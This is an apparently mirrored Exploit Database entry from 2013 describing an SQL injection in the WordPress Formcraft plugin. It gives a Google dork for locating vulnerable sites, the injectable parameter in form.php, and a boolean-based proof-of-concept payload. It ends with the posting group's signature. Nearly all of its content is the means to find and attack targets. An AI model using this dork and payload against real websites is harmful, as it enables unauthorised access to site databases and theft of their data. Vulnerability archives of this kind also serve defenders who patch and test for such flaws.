WordPress Plugin Formcraft – SQL Injection

Exploit Database
97 阅读

作者： Ashiyane Digital Security Team

日期： 2013-12-02
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/30002/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

#######################################################################

# Exploit Title : WordPress formcraft Plugin Sql Injection

#

# Exploit Author : Ashiyane Digital Security Team

#

# Google Dork : inurl:/wp-content/plugins/formcraft

#

# Software Link : www.wordpress.org

#

# Tested on: Windows , Linux

#

# Date: 2013/12/2

#

#############################################

# Exploit : Sql Injection

#

# Location1:

[Target]/wp-content/plugins/formcraft/form.php?id=[Sql]

#

#

#

# Exploit-DB Note:

# A PoC: form.php?id=1%20and%20 1=1

##########################################

##############

Milad Hacking

We Love Mohammad

##############